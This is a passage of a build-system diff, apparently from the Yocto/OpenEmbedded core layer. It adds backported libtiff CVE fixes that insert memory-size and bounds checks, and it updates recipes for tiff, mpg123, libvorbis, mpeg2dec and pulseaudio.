++ TIFFErrorExtR(tif, TIFFFileName(tif),
++ "Invalid row passed to TIFFReadRGBAStrip().");
++ TIFFRGBAImageEnd(&img);
++ return (0);
++ }
+
+ img.row_offset = row;
+ img.col_offset = 0;
+@@ -3301,6 +3308,14 @@ int TIFFReadRGBATileExt(TIFF *tif, uint32_t col, uint32_t row, uint32_t *raster,
+ return (0);
+ }
+
++ if (col >= img.width || row >= img.height)
++ {
++ TIFFErrorExtR(tif, TIFFFileName(tif),
++ "Invalid row/col passed to TIFFReadRGBATile().");
++ TIFFRGBAImageEnd(&img);
++ return (0);
++ }
++
+ /*
+ * The TIFFRGBAImageGet() function doesn't allow us to get off the
+ * edge of the image, even to fill an otherwise valid tile. So we
+--
+2.40.0
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6228.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6228.patch
new file mode 100644
index 0000000000..2020508fdf
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6228.patch
@@ -0,0 +1,31 @@
+From 1e7d217a323eac701b134afc4ae39b6bdfdbc96a Mon Sep 17 00:00:00 2001
+From: Su_Laus <sulau@freenet.de>
+Date: Wed, 17 Jan 2024 06:57:08 +0000
+Subject: [PATCH] codec of input image is available, independently from codec
+ check of output image and return with error if not.
+
+Fixes #606.
+
+CVE: CVE-2023-6228
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/commit/1e7d217a323eac701b134afc4ae39b6bdfdbc96a]
+
+Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
+---
+ tools/tiffcp.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tools/tiffcp.c b/tools/tiffcp.c
+index aff0626..a4f7f6b 100644
+--- a/tools/tiffcp.c
++++ b/tools/tiffcp.c
+@@ -846,6 +846,8 @@ static int tiffcp(TIFF *in, TIFF *out)
+ if (!TIFFIsCODECConfigured(compression))
+ return FALSE;
+ TIFFGetFieldDefaulted(in, TIFFTAG_COMPRESSION, &input_compression);
++ if (!TIFFIsCODECConfigured(input_compression))
++ return FALSE;
+ TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric);
+ if (input_compression == COMPRESSION_JPEG)
+ {
+--
+2.40.0
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-Apply-1-suggestion-s-to-1-file-s.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-Apply-1-suggestion-s-to-1-file-s.patch
new file mode 100644
index 0000000000..5d15dff1d9
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-Apply-1-suggestion-s-to-1-file-s.patch
@@ -0,0 +1,27 @@
+From e1640519208121f916da1772a5efb6ca28971b86 Mon Sep 17 00:00:00 2001
+From: Even Rouault <even.rouault@spatialys.com>
+Date: Tue, 31 Oct 2023 15:04:37 +0000
+Subject: [PATCH 3/3] Apply 1 suggestion(s) to 1 file(s)
+
+CVE: CVE-2023-6277
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/merge_requests/545]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libtiff/tif_dirread.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/libtiff/tif_dirread.c b/libtiff/tif_dirread.c
+index fe8d6f8..58a4276 100644
+--- a/libtiff/tif_dirread.c
++++ b/libtiff/tif_dirread.c
+@@ -5306,7 +5306,6 @@ static int EstimateStripByteCounts(TIFF *tif, TIFFDirEntry *dir,
+ {
+ uint64_t space;
+ uint16_t n;
+- filesize = TIFFGetFileSize(tif);
+ if (!(tif->tif_flags & TIFF_BIGTIFF))
+ space = sizeof(TIFFHeaderClassic) + 2 + dircount * 12 + 4;
+ else
+--
+2.43.0
+
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data-2.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data-2.patch
new file mode 100644
index 0000000000..9fc8182fef
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data-2.patch
@@ -0,0 +1,36 @@
+From f500facf7723f1cae725dd288b2daad15e45131c Mon Sep 17 00:00:00 2001
+From: Su_Laus <sulau@freenet.de>
+Date: Mon, 30 Oct 2023 21:21:57 +0100
+Subject: [PATCH 2/3] At image reading, compare data size of some tags / data
+ structures (StripByteCounts, StripOffsets, StripArray, TIFF directory) with
+ file size to prevent provoked out-of-memory attacks.
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+See issue #614.
+
+Correct declaration of ‘filesize’ shadows a previous local.
+
+CVE: CVE-2023-6277
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/merge_requests/545]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libtiff/tif_dirread.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/libtiff/tif_dirread.c b/libtiff/tif_dirread.c
+index c52d41f..fe8d6f8 100644
+--- a/libtiff/tif_dirread.c
++++ b/libtiff/tif_dirread.c
+@@ -5305,7 +5305,6 @@ static int EstimateStripByteCounts(TIFF *tif, TIFFDirEntry *dir,
+ if (td->td_compression != COMPRESSION_NONE)
+ {
+ uint64_t space;
+- uint64_t filesize;
+ uint16_t n;
+ filesize = TIFFGetFileSize(tif);
+ if (!(tif->tif_flags & TIFF_BIGTIFF))
+--
+2.43.0
+
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data.patch
new file mode 100644
index 0000000000..d5854a9059
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data.patch
@@ -0,0 +1,162 @@
+From b33baa5d9c6aac8ce49b5180dd48e39697ab7a11 Mon Sep 17 00:00:00 2001
+From: Su_Laus <sulau@freenet.de>
+Date: Fri, 27 Oct 2023 22:11:10 +0200
+Subject: [PATCH 1/3] At image reading, compare data size of some tags / data
+ structures (StripByteCounts, StripOffsets, StripArray, TIFF directory) with
+ file size to prevent provoked out-of-memory attacks.
+
+See issue #614.
+
+CVE: CVE-2023-6277
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/merge_requests/545]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libtiff/tif_dirread.c | 90 +++++++++++++++++++++++++++++++++++++++++++
+ 1 file changed, 90 insertions(+)
+
+diff --git a/libtiff/tif_dirread.c b/libtiff/tif_dirread.c
+index 2c49dc6..c52d41f 100644
+--- a/libtiff/tif_dirread.c
++++ b/libtiff/tif_dirread.c
+@@ -1308,6 +1308,21 @@ TIFFReadDirEntryArrayWithLimit(TIFF *tif, TIFFDirEntry *direntry,
+ datasize = (*count) * typesize;
+ assert((tmsize_t)datasize > 0);
+
++ /* Before allocating a huge amount of memory for corrupted files, check if
++ * size of requested memory is not greater than file size.
++ */
++ uint64_t filesize = TIFFGetFileSize(tif);
++ if (datasize > filesize)
++ {
++ TIFFWarningExtR(tif, "ReadDirEntryArray",
++ "Requested memory size for tag %d (0x%x) %" PRIu32
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated, tag not read",
++ direntry->tdir_tag, direntry->tdir_tag, datasize,
++ filesize);
++ return (TIFFReadDirEntryErrAlloc);
++ }
++
+ if (isMapped(tif) && datasize > (uint64_t)tif->tif_size)
+ return TIFFReadDirEntryErrIo;
+
+@@ -5266,6 +5281,20 @@ static int EstimateStripByteCounts(TIFF *tif, TIFFDirEntry *dir,
+ if (!_TIFFFillStrilesInternal(tif, 0))
+ return -1;
+
++ /* Before allocating a huge amount of memory for corrupted files, check if
++ * size of requested memory is not greater than file size. */
++ uint64_t filesize = TIFFGetFileSize(tif);
++ uint64_t allocsize = (uint64_t)td->td_nstrips * sizeof(uint64_t);
++ if (allocsize > filesize)
++ {
++ TIFFWarningExtR(tif, module,
++ "Requested memory size for StripByteCounts of %" PRIu64
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated",
++ allocsize, filesize);
++ return -1;
++ }
++
+ if (td->td_stripbytecount_p)
+ _TIFFfreeExt(tif, td->td_stripbytecount_p);
+ td->td_stripbytecount_p = (uint64_t *)_TIFFCheckMalloc(
+@@ -5807,6 +5836,20 @@ static uint16_t TIFFFetchDirectory(TIFF *tif, uint64_t diroff,
+ dircount16 = (uint16_t)dircount64;
+ dirsize = 20;
+ }
++ /* Before allocating a huge amount of memory for corrupted files, check
++ * if size of requested memory is not greater than file size. */
++ uint64_t filesize = TIFFGetFileSize(tif);
++ uint64_t allocsize = (uint64_t)dircount16 * dirsize;
++ if (allocsize > filesize)
++ {
++ TIFFWarningExtR(
++ tif, module,
++ "Requested memory size for TIFF directory of %" PRIu64
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated, TIFF directory not read",
++ allocsize, filesize);
++ return 0;
++ }
+ origdir = _TIFFCheckMalloc(tif, dircount16, dirsize,
+ "to read TIFF directory");
+ if (origdir == NULL)
+@@ -5921,6 +5964,20 @@ static uint16_t TIFFFetchDirectory(TIFF *tif, uint64_t diroff,
+ "directories not supported");
+ return 0;
+ }
++ /* Before allocating a huge amount of memory for corrupted files, check
++ * if size of requested memory is not greater than file size. */
++ uint64_t filesize = TIFFGetFileSize(tif);
++ uint64_t allocsize = (uint64_t)dircount16 * dirsize;
++ if (allocsize > filesize)
++ {
++ TIFFWarningExtR(
++ tif, module,
++ "Requested memory size for TIFF directory of %" PRIu64
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated, TIFF directory not read",
++ allocsize, filesize);
++ return 0;
++ }
+ origdir = _TIFFCheckMalloc(tif, dircount16, dirsize,
+ "to read TIFF directory");
+ if (origdir == NULL)
+@@ -5968,6 +6025,8 @@ static uint16_t TIFFFetchDirectory(TIFF *tif, uint64_t diroff,
+ }
+ }
+ }
++ /* No check against filesize needed here because "dir" should have same size
++ * than "origdir" checked above. */
+ dir = (TIFFDirEntry *)_TIFFCheckMalloc(
+ tif, dircount16, sizeof(TIFFDirEntry), "to read TIFF directory");
+ if (dir == 0)
+@@ -7164,6 +7223,20 @@ static int TIFFFetchStripThing(TIFF *tif, TIFFDirEntry *dir, uint32_t nstrips,
+ return (0);
+ }
+
++ /* Before allocating a huge amount of memory for corrupted files, check
++ * if size of requested memory is not greater than file size. */
++ uint64_t filesize = TIFFGetFileSize(tif);
++ uint64_t allocsize = (uint64_t)nstrips * sizeof(uint64_t);
++ if (allocsize > filesize)
++ {
++ TIFFWarningExtR(tif, module,
++ "Requested memory size for StripArray of %" PRIu64
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated",
++ allocsize, filesize);
++ _TIFFfreeExt(tif, data);
++ return (0);
++ }
+ resizeddata = (uint64_t *)_TIFFCheckMalloc(
+ tif, nstrips, sizeof(uint64_t), "for strip array");
+ if (resizeddata == 0)
+@@ -7263,6 +7336,23 @@ static void allocChoppedUpStripArrays(TIFF *tif, uint32_t nstrips,
+ }
+ bytecount = last_offset + last_bytecount - offset;
+
++ /* Before allocating a huge amount of memory for corrupted files, check if
++ * size of StripByteCount and StripOffset tags is not greater than
++ * file size.
++ */
++ uint64_t allocsize = (uint64_t)nstrips * sizeof(uint64_t) * 2;
++ uint64_t filesize = TIFFGetFileSize(tif);
++ if (allocsize > filesize)
++ {
++ TIFFWarningExtR(tif, "allocChoppedUpStripArrays",
++ "Requested memory size for StripByteCount and "
++ "StripOffsets %" PRIu64
++ " is greather than filesize %" PRIu64
++ ". Memory not allocated",
++ allocsize, filesize);
++ return;
++ }
++
+ newcounts =
+ (uint64_t *)_TIFFCheckMalloc(tif, nstrips, sizeof(uint64_t),
+ "for chopped \"StripByteCounts\" array");
+--
+2.43.0
+
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb b/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb
deleted file mode 100644
index 9b907fbc24..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=34da3db46fab7501992f9615d7e158cf"
-
-CVE_PRODUCT = "libtiff"
-
-SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
- "
-SRC_URI[md5sum] = "2165e7aba557463acc0664e71a3ed424"
-SRC_URI[sha256sum] = "5d29f32517dadb6dbcd1255ea5bbc93a2b54b94fbf83653b4d65c7d6775b8634"
-
-# exclude betas
-UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
-
-inherit autotools multilib_header
-
-CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
-
-PACKAGECONFIG ?= "cxx jpeg zlib lzma \
- strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
-
-PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
-
-# Convert single-strip uncompressed images to multiple strips of specified
-# size (default: 8192) to reduce memory usage
-PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
-
-# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
-PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
-
-# Control picking up YCbCr subsample info. Disable to support files lacking
-# the tag
-PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
-
-# Support a mechanism allowing reading large strips (usually one strip files)
-# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
-PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
-
-PACKAGES =+ "tiffxx tiff-utils"
-FILES_tiffxx = "${libdir}/libtiffxx.so.*"
-FILES_tiff-utils = "${bindir}/*"
-
-do_install_append() {
- oe_multilib_header tiffconf.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.6.0.bb b/meta/recipes-multimedia/libtiff/tiff_4.6.0.bb
new file mode 100644
index 0000000000..d42ea6a6e5
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff_4.6.0.bb
@@ -0,0 +1,68 @@
+SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
+DESCRIPTION = "Library provides support for the Tag Image File Format \
+(TIFF), a widely used format for storing image data. This library \
+provide means to easily access and create TIFF image files."
+HOMEPAGE = "http://www.libtiff.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=a3e32d664d6db1386b4689c8121531c3"
+
+CVE_PRODUCT = "libtiff"
+
+SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
+ file://CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data.patch \
+ file://CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data-2.patch \
+ file://CVE-2023-6277-Apply-1-suggestion-s-to-1-file-s.patch \
+ file://CVE-2023-6228.patch \
+ file://CVE-2023-52355-0001.patch \
+ file://CVE-2023-52355-0002.patch \
+ file://CVE-2023-52356.patch \
+ "
+
+SRC_URI[sha256sum] = "88b3979e6d5c7e32b50d7ec72fb15af724f6ab2cbf7e10880c360a77e4b5d99a"
+
+# exclude betas
+UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
+
+CVE_STATUS[CVE-2015-7313] = "fixed-version: Tested with check from https://security-tracker.debian.org/tracker/CVE-2015-7313 and already 4.3.0 doesn't have the issue"
+CVE_STATUS[CVE-2023-3164] = "cpe-incorrect: Issue only affects the tiffcrop tool not compiled by default since 4.6.0"
+
+inherit autotools multilib_header
+
+CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
+
+PACKAGECONFIG ?= "cxx jpeg zlib lzma \
+ strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
+
+PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
+PACKAGECONFIG[jbig] = "--enable-jbig,--disable-jbig,jbig,"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
+PACKAGECONFIG[webp] = "--enable-webp,--disable-webp,libwebp,"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd,"
+PACKAGECONFIG[libdeflate] = "--enable-libdeflate,--disable-libdeflate,libdeflate,"
+
+# Convert single-strip uncompressed images to multiple strips of specified
+# size (default: 8192) to reduce memory usage
+PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
+
+# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
+PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
+
+# Control picking up YCbCr subsample info. Disable to support files lacking
+# the tag
+PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
+
+# Support a mechanism allowing reading large strips (usually one strip files)
+# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
+PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
+
+PACKAGES =+ "tiffxx tiff-utils"
+FILES:tiffxx = "${libdir}/libtiffxx.so.*"
+FILES:tiff-utils = "${bindir}/*"
+
+do_install:append() {
+ oe_multilib_header tiffconf.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb b/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb
index c5c10348c6..023bce0abe 100644
--- a/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb
+++ b/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb
@@ -2,8 +2,8 @@ SUMMARY = "Ogg Vorbis Audio Codec"
DESCRIPTION = "Ogg Vorbis is a high-quality lossy audio codec \
that is free of intellectual property restrictions. libvorbis \
is the main vorbis codec library."
-HOMEPAGE = "http://www.vorbis.com/"
-BUGTRACKER = "https://trac.xiph.org"
+HOMEPAGE = "https://xiph.org/vorbis/"
+BUGTRACKER = "https://gitlab.xiph.org/xiph/vorbis/-/issues"
SECTION = "libs"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=73d9c8942c60b846c3bad13cc6c2e520 \
diff --git a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
index 00ca3675ca..fd8b561657 100644
--- a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
+++ b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
@@ -1,7 +1,11 @@
SUMMARY = "Library and test program for decoding MPEG-2 and MPEG-1 video streams"
-HOMEPAGE = "http://libmpeg2.sourceforge.net/"
+DESCRIPTION = "mpeg2dec is a test program for libmpeg2. It decodes \
+mpeg-1 and mpeg-2 video streams, and also includes a demultiplexer \
+for mpeg-1 and mpeg-2 program streams. The main purpose of mpeg2dec \
+is to have a simple test bed for libmpeg2."
+HOMEPAGE = "https://libmpeg2.sourceforge.io/"
SECTION = "libs"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://include/mpeg2.h;beginline=1;endline=22;md5=7766f4fcb58f0f8413c49a746f2ab89b"
@@ -30,18 +34,18 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,virtual/libx11 libxext libxv"
PACKAGES = "mpeg2dec-dbg mpeg2dec mpeg2dec-doc libmpeg2 libmpeg2-dev libmpeg2convert libmpeg2convert-dev libmpeg2-staticdev libmpeg2convert-staticdev"
-FILES_${PN} = "${bindir}/*"
-FILES_libmpeg2 = "${libdir}/libmpeg2.so.*"
-FILES_libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
-FILES_libmpeg2-dev = "${libdir}/libmpeg2.so \
+FILES:${PN} = "${bindir}/*"
+FILES:libmpeg2 = "${libdir}/libmpeg2.so.*"
+FILES:libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
+FILES:libmpeg2-dev = "${libdir}/libmpeg2.so \
${libdir}/libmpeg2.la \
${libdir}/libmpeg2arch.la \
${libdir}/pkgconfig/libmpeg2.pc \
${includedir}/mpeg2dec/mpeg2.h"
-FILES_libmpeg2-staticdev = "${libdir}/libmpeg2.a"
-FILES_libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
+FILES:libmpeg2-staticdev = "${libdir}/libmpeg2.a"
+FILES:libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
${libdir}/libmpeg2convert.la \
${libdir}/libmpeg2convertarch.la \
${libdir}/pkgconfig/libmpeg2convert.pc \
${includedir}/mpeg2dec/mpeg2convert.h"
-FILES_libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
+FILES:libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb b/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb
deleted file mode 100644
index 0746d8d47d..0000000000
--- a/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
-DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
-mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
-and also can write the decoded audio to WAV."
-HOMEPAGE = "http://mpg123.de/"
-BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e86753638d3cf2512528b99079bc4f3"
-
-SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "30c998785a898f2846deefc4d17d6e4683a5a550b7eacf6ea506e30a7a736c6e"
-
-UPSTREAM_CHECK_REGEX = "mpg123-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools pkgconfig
-
-# The options should be mutually exclusive for configuration script.
-# If both alsa and pulseaudio are specified (as in the default distro features)
-# pulseaudio takes precedence.
-PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
-
-PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
-PACKAGECONFIG[esd] = ",,esound"
-PACKAGECONFIG[jack] = ",,jack"
-PACKAGECONFIG[openal] = ",,openal-soft"
-PACKAGECONFIG[portaudio] = ",,portaudio-v19"
-PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
-PACKAGECONFIG[sdl] = ",,libsdl2"
-
-# Following are possible sound output modules:
-# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
-AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
-AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
-
-EXTRA_OECONF = " \
- --enable-shared \
- --with-audio='${AUDIOMODS}' \
- ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
- ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
-"
-# Fails to build with thumb-1 (qemuarm)
-#| {standard input}: Assembler messages:
-#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
-#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
-#...
-#| make[3]: *** [equalizer.lo] Error 1
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.32.6.bb b/meta/recipes-multimedia/mpg123/mpg123_1.32.6.bb
new file mode 100644
index 0000000000..f7786e8588
--- /dev/null
+++ b/meta/recipes-multimedia/mpg123/mpg123_1.32.6.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
+DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
+mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
+and also can write the decoded audio to WAV."
+HOMEPAGE = "http://mpg123.de/"
+BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e7b9c15fcfb986abb4cc5e8400a24169"
+
+SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "ccdd1d0abc31d73d8b435fc658c79049d0a905b30669b6a42a03ad169dc609e6"
+
+UPSTREAM_CHECK_REGEX = "mpg123-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools pkgconfig
+
+# The options should be mutually exclusive for configuration script.
+# If both alsa and pulseaudio are specified (as in the default distro features)
+# pulseaudio takes precedence.
+PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
+
+PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
+PACKAGECONFIG[esd] = ",,esound"
+PACKAGECONFIG[jack] = ",,jack"
+PACKAGECONFIG[openal] = ",,openal-soft"
+PACKAGECONFIG[portaudio] = ",,portaudio-v19"
+PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
+PACKAGECONFIG[sdl] = ",,libsdl2"
+
+# Following are possible sound output modules:
+# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
+AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
+AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
+
+CACHED_CONFIGUREVARS:libc-musl = "ac_cv_sys_file_offset_bits=no"
+
+EXTRA_OECONF = " \
+ --enable-shared \
+ --enable-largefile \
+ --with-audio='${AUDIOMODS}' \
+ ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-cpu=generic_nofpu', '', d)} \
+"
+# Fails to build with thumb-1 (qemuarm)
+#| {standard input}: Assembler messages:
+#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
+#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
+#...
+#| make[3]: *** [equalizer.lo] Error 1
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
index 4e32b27087..ae16056d24 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
@@ -1,9 +1,11 @@
SUMMARY = "Sound server for Linux and Unix-like operating systems"
+DESCRIPTION = "A general purpose sound server intended to run as a middleware \
+between your applications and your hardware devices, either using ALSA or OSS."
HOMEPAGE = "http://www.pulseaudio.org"
-AUTHOR = "Lennart Poettering"
SECTION = "libs/multimedia"
-# Most of PulseAudio code is under LGPLv2.1+. There are a few exceptions:
+# Most of PulseAudio code is under LGPL-2.1-or-later. There are a few
+# exceptions:
#
# The "adrian" echo canceller variant has code under a non-standard permissive
# license. See src/modules/echo-cancel/adrian-license.txt for details. This
@@ -37,12 +39,13 @@ SECTION = "libs/multimedia"
# The dependency with the most complicated licensing considerations is libdbus.
# When PACKAGECONFIG[dbus] is enabled (like it is by default), libdbus will be
# used by both the server and the client library (libpulse). Does this affect
-# applications that use libpulse? It should be also noted that libdbus is
-# dual-licensed: either GPLv2+ or AFL-2 terms apply. Whose decision is it which
-# of the licenses apply? What a mess. Some people hold the view that libdbus is
-# a system library that is covered by the "special exception" in GPLv2's
